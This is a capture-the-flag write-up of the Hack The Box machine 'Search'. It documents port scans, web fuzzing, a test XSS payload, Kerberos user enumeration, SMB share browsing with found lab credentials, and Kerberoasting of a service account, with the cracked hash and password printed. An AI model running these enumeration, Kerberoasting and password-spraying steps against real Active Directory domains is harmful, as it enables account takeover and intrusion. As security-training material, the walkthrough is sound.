

# Search

Sunday, April 24, 2022 7:43 PM

## 1. Network Scanning

Below show TCP Scan for ports.

```
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Search &dash; Just Testing IIS
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-24 11:43:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.hbt0., Site: Default-First-Site-Name)
|_ssl-date: 2022-04-24T11:44:37+00:00; +25s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
443/tcp open ssl/http Microsoft IIS httpd 10.0
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Search &dash; Just Testing IIS
|_ssl-date: 2022-04-24T11:44:37+00:00; +25s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open nncn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/dap Microsoft Windows Active Directory LDAP (Domain: search.hbt0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2022-04-24T11:44:37+00:00; +25s from scanner time.
8172/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=MSvc-SHA2-RESEARCH
| Not valid before: 2020-04-07T09:05:25
|_Not valid after: 2030-04-05T09:05:25
|_ssl-date: 2022-04-24T11:44:37+00:00; +25s from scanner time.
| tls-alpn:
|_ http/1.1
|_http-title: Site doesn't have a title.
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open nncn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
49709/tcp open msrpc Microsoft Windows RPC
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 25s, deviation: 0s, median: 24s
| smb2-security-mode:
|_3.1.1:
|_Message signing enabled and required
| smb2-time:
| date: 2022-04-24T11:43:58
|_start_date: N/A
```

## UDP Scan

```
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
|_ NBTStat:
|_CKAAAAAAAAAAAAAAAAAAAAAAA
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-25 09:09:47Z)
123/udp open ntp NTP v3
| ntp-info:
|_
389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: search.hbt0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.92%I=7%D=4/25%Time=6266656A%P=x86_64-pc-linux-gnu%r(NBTS
SF:tat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\x20CKAAAAAAAAAAAAAAA
SF:AAAAAA\0!\0\x01");
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 10s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

## 2. Web Fuzz

Directory Fuzz. Discover some interesting directory and webpage. Especially the '/staff' directory.

```
Images [Status: 301, Size: 148, Words: 9, Lines: 2, Duration: 260ms]
Index.html [Status: 200, Size: 44982, Words: 13260, Lines: 1030, Duration: 258ms]
Main.html [Status: 200, Size: 931, Words: 69, Lines: 18, Duration: 264ms]
aux [Status: 404, Size: 1888, Words: 391, Lines: 41, Duration: 265ms]
certenroll [Status: 301, Size: 152, Words: 9, Lines: 2, Duration: 264ms]
com1 [Status: 404, Size: 1889, Words: 391, Lines: 41, Duration: 262ms]
com2 [Status: 404, Size: 1889, Words: 391, Lines: 41, Duration: 264ms]
com3 [Status: 404, Size: 1889, Words: 391, Lines: 41, Duration: 264ms]
com4 [Status: 404, Size: 1889, Words: 391, Lines: 41, Duration: 260ms]
con [Status: 404, Size: 1888, Words: 391, Lines: 41, Duration: 263ms]
css [Status: 301, Size: 145, Words: 9, Lines: 2, Duration: 256ms]
fonts [Status: 301, Size: 147, Words: 9, Lines: 2, Duration: 257ms]
images [Status: 301, Size: 148, Words: 9, Lines: 2, Duration: 257ms]
index.html [Status: 200, Size: 44982, Words: 13260, Lines: 1030, Duration: 259ms]
js [Status: 301, Size: 144, Words: 9, Lines: 2, Duration: 257ms]
lpt1 [Status: 404, Size: 1889, Words: 391, Lines: 41, Duration: 264ms]
lpt2 [Status: 404, Size: 1889, Words: 391, Lines: 41, Duration: 264ms]
main.html [Status: 200, Size: 931, Words: 69, Lines: 18, Duration: 257ms]
nul [Status: 404, Size: 1888, Words: 391, Lines: 41, Duration: 265ms]
prn [Status: 404, Size: 1888, Words: 391, Lines: 41, Duration: 262ms]
single.html [Status: 200, Size: 19559, Words: 5705, Lines: 373, Duration: 262ms]
staff [Status: 403, Size: 1233, Words: 73, Lines: 30, Duration: 255ms]
:: Progress: [40952/40952] :: Job [1/1] :: 154 req/sec :: Duration: [0:04:28] :: Errors: 0 ::
```

Fuzz more on staff directory.


Vhost Fuzz. Not getting useful info. The image can't be added, because it is too long.

Nikto Scan. Not getting useful info.

```
- Nikto v2.1.6
-----
+ Target IP:          10.10.11.129
+ Target Hostname:    10.10.11.129
+ Target Port:        80
+ Start Time:         2022-04-24 20:27:35 (GMT8)
-----
+ Server: Microsoft-IIS/10.0
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-aspnet-version header: 4.0.30319
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ 8041 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:            2022-04-24 21:05:29 (GMT8) (2274 seconds)
-----
+ 1 host(s) tested
sodanew@kalinew:~/Documents/HTB/Machine/Windows/Search$
```

### 3. Website Enumeration on Port 80

Main Page Top Section. There is really nothing much on here.



About Us section contain some readable strings

**About Us**



For the next great business

Don't think about it, DREAM it and make it happen. We aim to get you there.

- ✓ Officia quaerat eaque neque
- ✓ Possimus aut consequuntur incident
- ✓ Lorem ipsum dolor sit amet
- ✓ Consectetur adipisicing elit

Extracted all the Names that found in the website. Save it as 'names.md'

```
sodanew@kalinew:~/Documents/HTB/Machine/Windows/Search/target-items$ cat names.md
Keely.Lyons
Dax.Santiago
Sierra.Frye
Kyla.Stewart
Kaiara.Spencer
Dave.Simpson
Ben.Thompson
Chris.Stewart
Administrator
Jean.Doe
Admin
```

Contact Page Check via Burp Intercept. Discover a message parameter here.

The screenshot shows a browser developer tools Network tab with the following details:

**Request**

```

1 GET /?message=%3Cscript%3Ealert%28%27tets%27%29%3C%2Fscript%3E
HTTP/2
2 Host: search.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0)
Gecko/20100101 Firefox/91.0
4 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9
,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: https://search.htb/
8 Upgrade-Insecure-Requests: 1
9 Sec-Fetch-Dest: document
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-User: ?1
13 Sec-Gpc: 1
14 Te: trailers
15 Connection: close
16
17

```

**Response**

```

1 HTTP/2 200 OK
2 Content-Type: text/html
3 Last-Modified: Tue, 11 Aug 2020 10:13:04 GMT
4 Accept-Ranges: bytes
5 Etag: "5f3800c86fd61:0"
6 Server: Microsoft-IIS/10.0
7 X-Powered-By: ASP.NET
8 Date: Sun, 24 Apr 2022 13:18:14 GMT
9 Content-Length: 44982
10
11 <!doctype html>
12 <html lang="en">
13   <head>
14     <title>
Search &mdash; Just Testing IIS
</title>
15   <meta charset="utf-8">
16   <meta name="viewport" content="width=device-width, initial-scale=1,
shrink-to-fit=no">
17
18
19   <link href="
https://fonts.googleapis.com/css?family=Open+Sans:300,400,700" rel="stylesheet">
<link rel="stylesheet" href="fonts/icomoon/style.css">
20
21
22
23

```

**Inspector**

- Request Attributes
- Request Query Parameters
- Request Body Parameters
- Request Cookies
- Request Headers
- Response Headers

Access to '/single.html'. Leave a comment section. There is really nothing to be get from the comment section.

The screenshot shows a browser developer tools Network tab with the following details:

**Request**

```

1 GET /single.html? HTTP/2
2 Host: search.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0)
Gecko/20100101 Firefox/91.0
4 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: https://search.htb/single.html
8 Upgrade-Insecure-Requests: 1
9 Sec-Fetch-Dest: document
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-User: ?1
13 Sec-Gpc: 1
14 Te: trailers
15
16

```

**Response**

```


1 HTTP/2 200 OK
2 Content-Type: text/html
3 Last-Modified: Thu, 09 Apr 2020 07:55:15 GMT
4 Accept-Ranges: bytes
5 Etag: "bab489344ed61:0"
6 Server: Microsoft-IIS/10.0
7 X-Powered-By: ASP.NET
8 Date: Sun, 24 Apr 2022 13:24:03 GMT
9 Content-Length: 19559
10
11 <!doctype html>
12 <html lang="en">
13   <head>
14     <title>
Search &mdash; Testing IIS
</title>
15   <meta charset="utf-8">
16   <meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no">
17
18
19   <link href="
https://fonts.googleapis.com/css?family=Open+Sans:300,400,700"
rel="stylesheet">
20   <link rel="stylesheet" href="fonts/icomoon/style.css">
21
22   <link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/jquery-ui.css">
23

```

Search Box function enumeration on single.html. This function is not getting any response. Which mean this button is just decoy.

#### 4. Website Enumeration on Port 443

Discover new subdomain in the certificate.



## 5. SMB Enumeration

SMBMap scanned with empty username and password. Not getting any useful result.

```
sodanew@kalinew:~/Documents/HTB/Machine/Windows/Search$ smbmap -u "" -p "" -H $IP -d search.htb
[+] IP: 10.10.11.129:445      Name: research.search.htb
sodanew@kalinew:~/Documents/HTB/Machine/Windows/Search$ smbmap -u "" -p "" -H $IP -d research.search.htb
[+] IP: 10.10.11.129:445      Name: research.search.htb
```

## 6. DNS Enumeration

Discover hostmaster subdomain. Nothing really can be discovered

```
sodanew@kalinew:~/Documents/HTB/Machine/Windows/Search$ dig ANY @$IP search.htb

; <>> DiG 9.18.1-1-Debian <>> ANY @10.10.11.129 search.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58741
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;search.htb.           IN      ANY

;; ANSWER SECTION:
search.htb.        600     IN      A      10.10.11.129
search.htb.        3600    IN      NS     research.search.htb.
search.htb.        3600    IN      SOA    research.search.htb. hostmaster.search.htb. 435 900 600 86400 3600
search.htb.        600     IN      AAAA   dead:beef::250

;; ADDITIONAL SECTION:
research.search.htb. 3600    IN      A      10.10.11.129
research.search.htb. 3600    IN      AAAA   dead:beef::247
research.search.htb. 3600    IN      AAAA   dead:beef::fc7d:3571:90d7:2736

;; Query time: 359 msec
;; SERVER: 10.10.11.129#53(10.10.11.129) (TCP)
;; WHEN: Sun Apr 24 20:34:31 +08 2022
;; MSG SIZE  rcvd: 225
```

## 7. Username validation via Kerberos

Discover 4 valid name as shown below.

Current valid users.md


```
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/words-dir$ cat valid_users.md  
keely.lyons@search.htb  
dax.santiago@search.htb  
administrator@search.htb  
sierra.frye@search.htb
```

Query for 'Do not require Kerberos pre-authentication'.

```
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/words-dir$ GetNPUsers.py search.htb/ -usersfile valid_users.md
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] User keely.lyons@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dax.santiago@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sierra.frye@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
```

Looking some hint on the webpage, we find an image that contain word on notebook. 'Send Password to Hope Sharp \n IsolationIsKey ?' We can think of the name as hope.sharp.



Brute force again for the users list. Now that we get that hope.sharp is valid users.

Query again for the 'Do not required kerberos preauth'. We can see that hope.sharp user does not have the options for it as well.

```
sodanew@kalinew:~/Documents/HTB/Machine/Windows/Search/target-items/words-dir$ GetNPUsers.py search.htb/ -usersfile valid_users.md
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] User keely.lyons@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dax.santiago@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sierra.frye@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User hope.sharp@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
sodanew@kalinew:~/Documents/HTB/Machine/Windows/Search/target-items/words-dir$
```

Brute force for valid credentials.

#### 8. SMB Enumeration via the discovered valid credentials

Discover more shared folders. We notice that RedirectedFolders was allowed to R+W permission.

```
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir$ smbmap -u hope.sharp -p 'IsolationIsKey?' -H $IP -d search.htb
[+] IP: 10.10.11.129:445      Name: research.search.htb
Disk                         Permissions     Comment
-----
ADMIN$                      NO ACCESS      Remote Admin
C$                          NO ACCESS      Default share
CertEnroll                   READ ONLY     Active Directory Certificate Services share
helpdesk                     NO ACCESS      Remote IPC
IPC$                        READ ONLY     Logon server share
NETLOGON                     READ ONLY     Logon server share
RedirectedFolders$           READ, WRITE   Logon server share
SYSVOL                      READ ONLY     Logon server share
sodanew@kalineW:~/Documents/HTB/Machine/Windows/Search/target-items/smb-dir$
```

On CertEnroll folder. Discover a ASP file and some certificate files.

```
# use CertEnroll
ls# ls
drw-rw-rw- 0 Mon Apr 25 08:51:33 2022 .
drw-rw-rw- 0 Mon Apr 25 08:51:33 2022 ..
-rw-rw-rw- 330 Tue Apr  7 15:29:31 2020 nsrev_search-RESEARCH-CA.asp
-rw-rw-rw- 883 Tue Apr  7 15:29:29 2020 Research.search.htb_search-RESEARCH-CA.crt
-rw-rw-rw- 735 Mon Apr 25 08:51:33 2022 search-RESEARCH-CA+.crl
-rw-rw-rw- 1047 Mon Apr 25 08:51:33 2022 search-RESEARCH-CA.crl
#
```

Content of the ASP file. I have totally no idea on what is about.

```
<%
Response.ContentType = "application/x-netscape-revocation"
serialnumber = Request.QueryString
set Admin = Server.CreateObject("CertificateAuthority.Admin")

stat = Admin.IsValidCertificate("Research.search.htb\search-RESEARCH-CA", serialnumber)

if stat = 3 then Response.Write("0") else Response.Write("1") end if
%>
```

On RedirectedFolders\$ folder, discover usernames. All this names added to names.md file. We also noted that sierra.frye is different Year compare to other users.

```
# use RedirectedFolders$
# ls
drw-rw-rw- 0 Mon Apr 25 22:03:52 2022 .
drw-rw-rw- 0 Mon Apr 25 22:03:52 2022 ..
drw-rw-rw- 0 Wed Apr  8 02:12:58 2020 abril.suarez
drw-rw-rw- 0 Fri Jul 31 21:11:32 2020 Angie.Duffy
drw-rw-rw- 0 Fri Jul 31 20:35:32 2020 Antony.Russo
drw-rw-rw- 0 Wed Apr  8 02:32:31 2020 belen.compton
drw-rw-rw- 0 Fri Jul 31 20:37:36 2020 Cameron.Melendez
drw-rw-rw- 0 Wed Apr  8 02:15:09 2020 chanel.bell
drw-rw-rw- 0 Fri Jul 31 21:09:07 2020 Claudia.Pugh
drw-rw-rw- 0 Fri Jul 31 20:02:04 2020 Cortez.Hickman
drw-rw-rw- 0 Wed Apr  8 02:20:08 2020 dax.santiago
drw-rw-rw- 0 Fri Jul 31 19:55:34 2020 Eddie.Stevens
drw-rw-rw- 0 Fri Apr 10 04:04:11 2020 edgar.jacobs
drw-rw-rw- 0 Fri Jul 31 20:39:50 2020 Edith.Walls
drw-rw-rw- 0 Wed Apr  8 02:23:13 2020 eve.galvan
drw-rw-rw- 0 Wed Apr  8 02:29:22 2020 frederick.cuevas
drw-rw-rw- 0 Thu Apr  9 22:34:41 2020 hope.sharp
drw-rw-rw- 0 Wed Apr  8 02:07:00 2020 jayla.roberts
drw-rw-rw- 0 Fri Jul 31 21:01:06 2020 Jordan.Gregory
drw-rw-rw- 0 Fri Apr 10 04:11:39 2020 payton.harmon
drw-rw-rw- 0 Fri Jul 31 19:44:32 2020 Reginald.Morton
drw-rw-rw- 0 Wed Apr  8 02:10:25 2020 santino.benjamin
drw-rw-rw- 0 Fri Jul 31 20:21:42 2020 Savanah.Velazquez
drw-rw-rw- 0 Thu Nov 18 09:01:45 2021 sierra.frye
drw-rw-rw- 0 Fri Apr 10 04:14:26 2020 trace.ryan
```

Tested to access all the directory, But all return 'denied\_access'. Only hope.sharp can be accessed. All the directory doesn't contain useful data.

```
# cd hope.sharp
# ls
cd drw-rw-rw-          0 Thu Apr  9 22:34:41 2020 .
drw-rw-rw-          0 Thu Apr  9 22:34:41 2020 ..
drw-rw-rw-          0 Thu Apr  9 22:35:49 2020 Desktop
drw-rw-rw-          0 Thu Apr  9 22:35:50 2020 Documents
drw-rw-rw-          0 Thu Apr  9 22:35:49 2020 Downloads
# cd Desktop
# ls
drw-rw-rw-          0 Thu Apr  9 22:35:49 2020 .
drw-rw-rw-          0 Thu Apr  9 22:35:49 2020 ..
drw-rw-rw-          0 Thu Apr  9 22:35:49 2020 $RECYCLE.BIN
-rw-rw-rw-        282 Thu Apr  9 22:35:00 2020 desktop.ini
-rw-rw-rw-      1450 Thu Apr  9 22:35:38 2020 Microsoft Edge.lnk
# cd ..
# cd Documents
# ls
drw-rw-rw-          0 Thu Apr  9 22:35:50 2020 .
drw-rw-rw-          0 Thu Apr  9 22:35:50 2020 ..
drw-rw-rw-          0 Thu Apr  9 22:35:50 2020 $RECYCLE.BIN
-rw-rw-rw-        402 Thu Apr  9 22:35:03 2020 desktop.ini
# cd ..
# cd Downloads
# ls
drw-rw-rw-          0 Thu Apr  9 22:35:49 2020 .
drw-rw-rw-          0 Thu Apr  9 22:35:49 2020 ..
drw-rw-rw-          0 Thu Apr  9 22:35:49 2020 $RECYCLE.BIN
-rw-rw-rw-        282 Thu Apr  9 22:35:02 2020 desktop.ini
#
```

Try access sierra.frye directory.

```
# cd sierra.frye
# ls
drw-rw-rw-          0 Thu Nov 18 09:01:45 2021 .
drw-rw-rw-          0 Thu Nov 18 09:01:45 2021 ..
drw-rw-rw-          0 Thu Nov 18 09:08:17 2021 Desktop
drw-rw-rw-          0 Fri Jul 31 22:42:19 2020 Documents
drw-rw-rw-          0 Fri Jul 31 22:45:36 2020 Downloads
-rw-rw-rw-        33 Thu Nov 18 09:01:45 2021 user.txt
# cd Desktop
# ls
drw-rw-rw-          0 Thu Nov 18 09:08:17 2021 .
drw-rw-rw-          0 Thu Nov 18 09:08:17 2021 ..
drw-rw-rw-          0 Thu Nov 18 09:08:17 2021 $RECYCLE.BIN
-rw-rw-rw-        282 Thu Nov 18 09:08:17 2021 desktop.ini
-rw-rw-rw-      1450 Thu Nov 18 09:08:17 2021 Microsoft Edge.lnk
-rw-rw-rw-        33 Thu Nov 18 09:18:26 2021 user.txt
# cd .. /Documents
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied}) A process has requested access to an object but has not been granted those access rights.)
# cd .. /Downloads
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied}) A process has requested access to an object but has not been granted those access rights.)
```


Try acquire user flag, seem like we don't have permission to access it.

```
# get user.txt
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied}) A process has requested access to an object but has not been granted those access rights.)
#
```

## 9. BloodHound Enumeration

Use hope.sharp credentials to dump info from the AD with bloodhound-python. Markdown current hope.sharp user as owned.

Navigate to Analysis Tab > Domain Information > Find all Domain Admin. Discover administrator user and TRISTAN DAVIES user got admin privileges.



Navigate to Analysis Tab > Kerberos Interaction > List all Kerberoastable Accounts. Discover this 2 user can be Kerberoasting. Now we can mark this 2 user as High Value target.



We can test to Kerberoast with GetSPN.py. We obtain password hash for 'web\_svc' user.

```
sodanew@kalinew:~/Documents/HTB/Machine/Windows/Search/target-items$ GetUserSPNs.py -request -dc-ip 10.10.11.129 search.htb/Hope.Sharp:IsolationIsKey?
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName      Name      MemberOf    PasswordLastSet      LastLogon      Delegation
-----                  -----      -----        -----            -----          -----
RESEARCH/web_svc.search.htb:60001  web_svc           2020-04-09 20:59:11.329031  <never>

$krb5tgs$23$*web_svc$SEARCH.HTB$search.web_svc*$cea95b6a801d37256df2b0e37ca5af34$d39122744cf4a8ac214cec3f9d4381b5a8d09eab990d7ea8261b4531af2d2d767ff70234853212cb31d4439a24d75a1d5e5229ed47740435f545ea733eee7b734c3d22a0ccb04172723979b4d652a1f401ec1f40cc7bf2a25a2d7fc7cc28a071dd501367b442f06896e51fe296c8001e5ca6c11f309d71638713818140867a14ee72f1fc8bd9042d965d4e209e2e11f42fa5eacf463ad35f8b32fa5fe2e61eef8dd4aa904cf2bd6e67eb9488b3ff94a04d06ce67456feed28b35cd3037d4fc0bb207b3fb7eee2acc1068a2bba2ff568195a93f6762dfe1541d7186e50428453208973da1564fe956ac5fb61f553bbffec83f2a6b20e915aef65891be4d1f13242c8461943216a11e7b1bce2ee9ff886d6f440e0b17063fa5e6c93f952c2a4639cd9d506bcee3507666b0166f7003f4995e7d38d34e390621cfb22d2f5844f7cd41bda9819832f9ac9d6656e4a104075518893532cbe52acb692f010220714de401a702225a845e0bb0f0c9d7704e23ebba12ce919487273c670b338f069243b96ada1f4f6c48eb39db4fdddaca43499a7b7eb6b9ffe67f658e4e72f96f9e6279fe86709f2f2bbff9e751f1bb44fd5d3fd39c1bba6b99fb1c08aeac8beb51d8e789a3e3f441d63775c52777f331433e6af4d6490785a7c0f9b5216a495eb629123b571ad9f2e31fdcd63c4312e2b74fad6902d2c6b6e1eed8de1d03d7d586f4e247eed7810f06ef1e513069e4dfb7e44f4262142d21ea26465d32fb18394dd0de0fd957f626f2addc69fd86f9cfb7ffc282540861aac817be64c542731ef98d3ffa4da29da708df099f4cc9ae3fc8931f7d9d5cd56043047b6a6e422d532460f8ca4b2e4335a798aa4e088f25c1eb655ced6886cd7577559dc7f442368e3aa03b9c9b73acafbef8c58a63deba9d1231d48e6a289ac8ed86a3e8f96e1b05627ef38003f1440c83ccc23a53aed4709bb04a769ed541eb46e65d7162dfb9138f02d8a9f21c302913fdac1eb80089fd408c063917c1574795e54df220663c017e8a7c08e80ae2af8604cb9183f1d6595001bcb61e37fb0c40bfcb317cf9e613af5ba81b211a8713223ecc6f8ad0cf66b2278a2d691f25ceae67d501853f3d8157912815ef03114bf57b628c1813a3bf83d7ff7247675a59f6fa589db3f0df68b887e5dc41c7bdf5fedf0123d7bba564f9fdcd0022ce51b0ec3577b6c89539262cf626789fb5bb83255dab2788b8393ed0332af6defa9a646a068f0efbf41fb268d49db8a71b13122746b30df38d1ec1afa961127c32af987df7be25ef9d9b83a8bda2f37bf0a96ff6412644f84db83b5c8dac05222b1a44bf239aedccc45d315b3bd00209a67b756f1ab496ebccba314554d3adb0c90ea633f50ca650ad3c2840de6094d9b10dd9669768ff7c61df321091804c48a3d6f7bd2eefb3856bdcadf53fae20528e4e6c2aleff0
sodanew@kalinew:~/Documents/HTB/Machine/Windows/Search/target-items$
```

The result of password crack. As we don't have the web\_svc user directory during the SMB enumeration and now we obtain a valid password. But we don't know a valid username that can use it.

```
$krb5tgs$23*$web_svc$search_htb$web_svc*$ce95b6a801d37256df2b0e37ca5af34$d39122744cf4a8ac214cec3f9d4381b5a8d09eab990d7ea8261b4531af2d2d7677ff70234853212cb31d4439a24d75a1d5e5229ed47740435f545ea733eee7b734c3d22a0ccb04172723979b4d652a1f401ec1f40cc7bf2a25a2d7fc7c28a071dd501367b442f06896e51ef296c8001e5ca6c11f309d716387131818140867a14ee72f1fc8bd9042d965d4e209e2e11f42fa5eaec4f63ad35f8b32fa5fe2e61fe8dd4aa904c2fb6d6e769848fa3ff94a04d06ce67456feed28b35cde3037d4fc0bb207b3ff7bee2acc1068a2bba2ff568195a93f6762dfe154d17186e50428453208973da1564f956a5fb61f553bfffec8c83f2a6b0e915a6f56981be4d1f13242c8461943216a11e7b1bce2e9ff886d6f440e0b17063f45e6c93f952c2a4639cd9d506bcee3507666b0166f7003f4995e7d38d34e390621cfb22d2f5844f7cd41bda9819832f9ac9d6656e4a104075518893532cbe52acb692f010220714de401a702225a845e0bb0f0c9d7704e23ebba12ce919487273c670b338f069243b96ada1f4f6c48eb39db4fdddaca43499a7b7ebeb6b9ffe67f658e4e72f96f9e6279f8e67609ff2f2fbfb9e751f1bb44fd5d3f9dc1bba6b99fb1c08aeac8beb51d8e789a3e3f441d637775c52777f331433e6af4d490785a7c0fb95216a495eb629123b571ad9f2e31fdca63c4ccc63412e2b74fad6902d2c6b6e1eed8de1d03d7d586f4e247eed7810f06ef1e513069e4dfb7e4fc4262142d21ea26465d32f1b18394d0de0fdcf957f626f2addd69f86f9cfb7ff2c82540861aac817be64c542731f86f3ff4a29da708d0f099ff4cc9a3e3fc8931f7d9d5cd56043047b6a6e422d532460f8ca4b2e4335a798aa4e088f25c1eb655ced6886cd7577559dc7f442368e3aaaf03b9cf9b73acafbef8c58a63deba9d1231d48e6a289ac8ed86a3e8f96e1b05627ef38003f1440c83ccc23a53aed4709bb04a769ed541eb46e65d7162dfb9138f02d8a9f21c302913fdac1eb80089fd408c063917c1574795e54df220663c017e8a7c08e80ae2af8604cb9183f1d6595001bcbe1e37ff0c40fbfc317cf9e613af5ba81b211a8713223eccf68ad0cf66b2278a2d691f25ceae67d501853f328157912815ef03114ba57b628c1813a3bf83d7ff7247675a59f6fa589db3f0d68887e5dc41c7bdfbf5ed0123d7bba564f9fdcd0022ce51b0e357b6c89539262cf626789fb5bb83255dab2788b8393ed0332a6fdefa946a068f0efbf41d2f68d49db48a71b13122746b30df38d1e1cfa96112732af987df7be25ef9db83a8bda2f37bf0a96ff6412644f84db83b5c8dac05222b1a44bf239aedccc45d315b3bd00209a67b756f1ab496ebcbba314554d3adb0c90ea633f50ca650ad3c2840deb694d9b10dd9669768ff7c61df321091804c48a3d6f7bd2eefb3856bdcadf53fae20528e4e6c2a1eff0:@30NEmillionbaby
```

```
Session.....: hashcat
Status.....: Cracked
Hash.Mode....: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target...: $krb5tgt$23$*web_svc$SEARCH.HTB$search.hbt/web_svc*...aleff0
Time.Started...: Tue Apr 26 13:43:32 2022 (12 secs)
Time.Estimated.: Tue Apr 26 13:43:44 2022 (0 secs)
Kernel.Feature.: Pure Kernel
Guess.Base....: File (/usr/share/wordlists/rockyou.txt)
```

So we can try `passwordspray` to get valid users from what we have obtained password. Discover `edgar.jacobs` credentials is fit.

## 10. SMB Enumeration via edgar.jacob credentials

Discover XLSX file in this user own directory inside the 'RedirectedFolders\$' directory.

```
# cd edgar.jacobs
# ls
drw-rw-rw-          0  Fri Apr 10 04:04:11 2020 .
drw-rw-rw-          0  Fri Apr 10 04:04:11 2020 ..
drw-rw-rw-          0  Mon Aug 10 18:02:16 2020 Desktop
drw-rw-rw-          0  Mon Aug 10 18:02:17 2020 Documents
drw-rw-rw-          0  Mon Aug 10 18:02:17 2020 Downloads
# cd Desktop
ls# ls
drw-rw-rw-          0  Mon Aug 10 18:02:16 2020 .
drw-rw-rw-          0  Mon Aug 10 18:02:16 2020 ..
drw-rw-rw-          0  Fri Apr 10 04:05:29 2020 $RECYCLE.BIN
-rw-rw-rw-         282  Mon Aug 10 18:02:16 2020 desktop.ini
-rw-rw-rw-        1450  Fri Apr 10 04:05:03 2020 Microsoft Edge.lnk
-rw-rw-rw-       23130  Mon Aug 10 18:30:05 2020 Phishing_Attempt.xlsx
# get Phishing_Attempt.xlsx
# ls ..../Documents/
drw-rw-rw-          0  Mon Aug 10 18:02:17 2020 Documents
# cd ..../Documents/
l# ls
drw-rw-rw-          0  Mon Aug 10 18:02:17 2020 .
drw-rw-rw-          0  Mon Aug 10 18:02:17 2020 ..
drw-rw-rw-          0  Fri Apr 10 04:05:30 2020 $RECYCLE.BIN
-rw-rw-rw-         402  Mon Aug 10 18:02:17 2020 desktop.ini
# cd ..../Downloads
ls# ls
drw-rw-rw-          0  Mon Aug 10 18:02:17 2020 .
drw-rw-rw-          0  Mon Aug 10 18:02:17 2020 ..
